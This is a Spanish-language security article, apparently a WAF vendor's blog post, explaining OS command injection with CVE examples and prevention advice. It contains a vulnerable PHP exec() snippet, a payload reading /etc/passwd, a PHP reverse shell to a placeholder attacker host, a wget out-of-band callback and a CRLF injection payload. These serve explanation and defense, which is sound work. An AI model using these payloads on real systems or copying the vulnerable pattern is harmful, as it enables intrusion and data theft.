¿Qué es la inyección de comandos del OS?

La inyección de comandos del SO es una vulnerabilidad de aplicación web que permite a los atacante ejecutar comandos arbitrarios en el sistema operativo subyacente. Estas vulnerabilidades ocurren cuando las aplicación web llaman comandos del sistema operativo con entradas proporcionadas por el usuario como argumentos. La vulnerabilidad también puede identificarse como CWE-77 o CWE-78.

Considera una aplicación web diseñada para monitor sistemas internos y proporcionar Alertas cuando uno de los sistemas se desconecta. En este escenario, la aplicación puede querer probar la accesibilidad de red al destino y lo hace ejecutando un comando ping. Si la aplicación está escrita en PHP, el código subyacente puede verse más o menos así:

$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)

En este ejemplo, la función exec de PHP ejecuta el comando ping con el valor proporcionado por el usuario para ‘ip_address’ agregado al final como destino para probar su accesibilidad. Sin embargo, si un atacante proporciona localhost; cat /etc/passwd como la Dirección IP proporcionada, se ejecutarán tanto el comando ping como el segundo comando iniciado después del punto y coma. Si tiene éxito, el atacante tendrá entonces ejecución completa de comandos y podrá ejecutar cualquier cantidad de comandos maliciosos para intentar escalar el acceso, recuperar información confidencial, mantener la persistencia o pivotar hacia otros objetivos en la red. Debido a su impacto, que a menudo es más devastador, las vulnerabilidades de inyección de comandos suelen clasificarse como más graves que otras vulnerabilidades de aplicaciones web.

¿Qué no es la inyección de comandos del SO?

La inyección de comandos suele confundirse con otros ataques de inyección, sobre todo con la inyección de código. La forma más sencilla de distinguir entre las dos vulnerabilidades es el método y el contexto de la ejecución de la carga útil:

  • La inyección de comandos se ejecuta notablemente en el contexto de los programas de shell del sistema operativo subyacente (p. ej., bash, PowerShell) al inyectarse en la llamada a un programa externo.

  • La inyección de código se ejecuta en el contexto del lenguaje de programación en uso. Un ejemplo de esto sería inyectar en las funciones include o eval de PHP y poder ejecutar código PHP arbitrario.

Donde la gente a veces se confunde es cuando una carga útil de inyección de comandos contiene código de lenguajes de programación como PHP. Por ejemplo, considera usar la siguiente carga útil de inyección de comandos en nuestro ejemplo anterior que iniciará una shell inversa:

localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Dado que la carga útil contiene principalmente código PHP, a primera vista puede parecer una inyección de código. Sin embargo, el inicio de la carga útil es lo que demuestra que en realidad se trata de inyección de comandos. En este ejemplo, el punto y coma termina el comando ping antes de que se ejecute el comando PHP. php -r luego ejecuta el siguiente código PHP en la línea de comandos, que en este caso es una shell inversa de regreso a la Dirección IP del atacante. Aunque se está ejecutando código PHP en nuestra carga útil, esto es una inyección de comandos del SO porque estamos inyectando en los argumentos del programa shell del SO.

Ejemplos reales de inyección de comandos del SO

Con una comprensión de lo que es y no es la inyección de comandos del SO, veamos algunos ejemplos reales de este ataque y cómo se ejecutaron.

Inyección de comandos del SO en NagiosXI: Common Vulnerability and Exposure (CVE)-2021-25296(7,8)

Las versiones 5.5.6 a 5.7.5 de NagiosXI se vieron afectadas por tres instancias independientes de inyección de comandos. Nuestro ejemplo anterior de ping en realidad está tomado libremente de Common Vulnerability and Exposure (CVE)-2021-25298, cuya vulnerabilidad de inyección de comandos residía en una llamada a ping mediante la función exec de PHP con una Dirección IP proporcionada por el usuario. En nuestro análisis detallado de estas Common Vulnerability and Exposure (CVE), demostramos el uso práctico de estas vulnerabilidades al lanzar tanto shells remotos de Meterpreter como callbacks a interactsh de Project Discovery. Como señaló CISA al momento de redactar este artículo, estas Common Vulnerability and Exposure (CVE) están siendo explotadas activamente por atacante en entornos reales, lo que demuestra su valor potencial para comprometer sistemas.

Inyección de comandos del SO en ManageEngine ADManagerPlus: CVE-2023-29084

Esta vulnerabilidad específica de inyección de comandos demuestra perfectamente cómo no prevenir la inyección de comandos. Dinh Hoang tiene una excelente explicación en la que describe la vulnerabilidad, específicamente cómo ADManagerPlus usa una función CommonUtil.getPowerShellEscapedValue para escapar un nombre de usuario y un valor de contraseña proporcionados por el usuario para un comando reg add. Sin embargo, esa función no escapa los caracteres CRLF, lo que permite insertar la siguiente carga útil como contraseña y ejecutar calc: [any-content]\r\ncalc.exe. Como veremos más adelante, realizar este tipo de sanitización de entradas permite errores, nuevas omisiones o metacaracteres pasados por alto que pueden provocar futuras inyecciones de comandos.

Inyección de comandos del SO según la ven los WAF

El Next-Gen WAF de Fastly protege contra ataques de inyección de comandos. Al investigar algunas cargas útiles observadas de inyección de comandos, podemos ver qué envían los atacantes para detectar vulnerabilidades de inyección de comandos del SO.

Ejemplo de carga útil 1: ping “sleep” en los datos de la solicitud POST

language=&ping -c 25 127.0.0.1 &

Esta carga útil es un intento directo de inyección de comandos en el campo de idioma. También usa una técnica de inyección ciega de comandos, ya que no depende de recuperar la salida del comando para detectar la inyección. Primero, la carga útil usa el metacarácter & para ejecutar el segundo comando mientras el primero se ejecuta en segundo plano. La carga útil contiene el comando ping con la marca -c, que le indica a ping que envíe 25 paquetes, uno cada segundo. Al analizar el tiempo de respuesta, un atacante puede determinar si se ejecutó el comando inyectado. Sin embargo, esta técnica puede fallar si la aplicación objetivo no espera a que el comando ejecutado se complete antes de enviar una respuesta HTTP, lo que limita su eficacia. Veamos un ejemplo más interesante de inyección ciega de comandos que no tiene esta limitación.

Ejemplo de carga útil 2: Wget en datos de solicitud POST

macAddress=112233445566;wget http://[redacted-subdomain].oast.site#

Esta carga útil utiliza interacción de red fuera de banda, una técnica de inyección de comandos ciega que se basa en detectar una solicitud de red saliente del comando inyectado para detectar la inyección de comandos. Desglosemos la carga útil en sus dos partes: el escape y la configuración del comando, y el contenido del comando inyectado.

La carga útil se inyecta en el campo macAddress y contiene dos metacaracteres para ayudar con la inyección de comandos. Primero, el punto y coma marca el final del primer comando para que el comando del atacante pueda ejecutarse. Al final de la carga útil inyectada, el atacante usa el metacarácter # como una forma de comentar cualquier dato posterior. Esto es útil si el argumento en el que están inyectando no es el argumento final del comando, ya que cualquier argumento posterior se ignorará como parte del comentario.

La parte del comando inyectado de la carga útil es el comando wget, que se comunica con un subdominio de oast.site, uno de los dominios de callback predeterminados que usa interactsh de Project Discovery. OAST se refiere a las pruebas de seguridad de aplicaciones fuera de banda, que interactsh facilita mediante el uso de subdominios y cargas útiles únicos para determinar si el ataque dirigido tuvo éxito. Hay varios otros dominios que usan interactsh y otras herramientas que facilitan el mismo tipo de pruebas, cuyo uso intensivo ya habíamos observado.

Cómo prevenir la inyección de comandos del SO 

Hay varias formas de prevenir la inyección de comandos del sistema operativo que varían en su eficacia y desventajas. A continuación, encontrarás soluciones prácticas para prevenir este tipo de ataque.

Evita las llamadas a comandos del sistema operativo desde el código de la aplicación

Nunca llames comandos del sistema operativo desde el código de la aplicación. Esto elimina por completo la posibilidad de vulnerabilidades de inyección de comandos del sistema operativo al eliminar los propios comandos inyectados. Usar métodos alternativos para realizar las mismas acciones es una opción más segura y preferible.

Aplica una validación estricta de entradas

Si no es posible evitar eliminar las llamadas a comandos del SO en tu entorno, entonces una validación de entrada sólida es esencial para prevenir vulnerabilidades de inyección de comandos del SO. La validación sólida de entradas es diferente de la sanitización de entradas. La validación de entradas requiere garantizar que la entrada del usuario contenga solo valores seguros para que la aplicación los pase a los comandos del SO. Algunos ejemplos de validación de entrada sólida son:

  1. La validación de la entrada está contenida en una lista permitida de valores.

  2. Validar que la entrada proporcionada sea del tipo correcto (por ejemplo, un entero o una Dirección IP).

  3. Validar que la entrada contenga solo valores alfanuméricos.

Sanitiza la entrada del usuario (no recomendado)

Si ninguna de estas opciones es posible, sanear la entrada del usuario mediante el escape de metacaracteres del shell (p. ej., & o ;) debe ser el último recurso. Es difícil realizar correctamente este saneamiento debido a las muchas formas en que los metacaracteres pueden representarse e interpretarse en distintos sistemas operativos, y a cómo se pueden eludir los métodos de saneamiento. Common Vulnerability and Exposure (CVE)-2023-29084 muestra los posibles problemas de este método, ya que un metacarácter omitido (CRLF) provocó una inyección de comandos exitosa. Aunque el saneamiento suele proteger contra las cargas útiles más obvias de inyección de comandos del SO, no es una solución completa debido tanto a la dificultad de implementarlo correctamente como a las posibilidades de elusión.

Resumen

La inyección de comandos del SO suele ser una vulnerabilidad grave de las aplicaciones web que permite a los atacantes ejecutar comandos arbitrarios en el sistema operativo subyacente. A menudo se confunde con la inyección de código, pero opera en el contexto de los programas de shell del sistema operativo subyacente, mientras que la inyección de código lo hace en el contexto del lenguaje de programación en uso. La inyección de comandos del SO puede tener impactos devastadores y, como se ve en nuestros ejemplos del mundo real, sigue siendo un medio de ataque usado con frecuencia. Sin embargo, las aplicaciones pueden prevenir la inyección de comandos del SO mediante las soluciones que hemos descrito. Si tienes dificultades para detener la inyección de comandos del SO, o usas un producto que ha sufrido vulnerabilidades de inyección de comandos del SO en el pasado, consulta el Next-Gen WAF de Fastly para protegerte contra estos ataques y más.

¿Estás listo para empezar?

Ponte en contacto con nosotros